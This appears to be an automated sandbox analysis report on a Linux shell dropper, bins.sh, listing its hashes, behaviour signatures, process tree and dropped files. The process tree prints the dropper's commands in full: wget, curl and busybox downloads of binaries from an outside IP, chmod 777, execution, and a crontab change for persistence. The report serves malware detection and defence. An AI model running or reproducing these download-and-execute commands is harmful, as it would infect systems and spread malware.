Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 10:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    28dde49049a118c0f885cfad79f16e3a

  • SHA1

    d3a08ddf5320ee11f75b1d1aff7fb51ba3d4ea7e

  • SHA256

    145073114b8bc96b50de671b5b2ff9cc9da3620967e3228b6395fb82331a7a4d

  • SHA512

    40ab90fd82aceadfbd9598ea1465d293d03efadc589e158f7d24eb0b807a7d1a4e25a8cac3ca0cdda99f173f54a546942d140e353702fe1663d3f6ca8c7fb9d7

  • SSDEEP

    192:Bjj73NwwEttYL2L2LcLlLpLoXNtP4swediL2L2LcLlLpL4NtP4sOCl73Nwwg:Bjj73NwwE3Yi6oBNcXNtP4sl8i6oBNEi

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1507
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1508
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/chmod
          chmod 777 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • File and Directory Permissions Modification
          PID:1523
        • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          ./AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Executes dropped EXE
          PID:1524
        • /bin/rm
          rm AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
            PID:1526
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/chmod
            chmod 777 7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • File and Directory Permissions Modification
            PID:1530
          • /tmp/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            ./7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Executes dropped EXE
            PID:1531
          • /bin/rm
            rm 7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
              PID:1533
            • /usr/bin/wget
              wget http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:1536
            • /bin/chmod
              chmod 777 O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • File and Directory Permissions Modification
              PID:1537
            • /tmp/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              ./O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Executes dropped EXE
              PID:1538
            • /bin/rm
              rm O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
                PID:1540
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:1543
              • /bin/chmod
                chmod 777 9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • File and Directory Permissions Modification
                PID:1544
              • /tmp/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                ./9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Executes dropped EXE
                PID:1545
              • /bin/rm
                rm 9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                  PID:1547
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:1550
                • /bin/chmod
                  chmod 777 Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1551
                • /tmp/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  ./Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1552
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1554
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1555
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1556
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1557
                      • /bin/rm
                        rm Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                        2⤵
                          PID:1559
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                          2⤵
                            PID:1562

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/O7KHfST3d2brJGAUmqwehkuLAUG7siSued

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /var/spool/cron/crontabs/tmp.KA47bc

                          Filesize

                          210B

                          MD5

                          2cff40d79c84b9c3bd130d7f98cad52e

                          SHA1

                          d993b8c6561a131f50f183599619511bec68493b

                          SHA256

                          c2465a457841e330cee5d868005be94149ba2c6789cd9bc7ec72a0a9888fa297

                          SHA512

                          e581cbd07b3db8ba3bf9865eb275f93e4622110f10bffe157d4f467e5e204d82087e1dd5e32682c7bbf14d4954174c3459dd24f508ed26b6a3803da778ce392c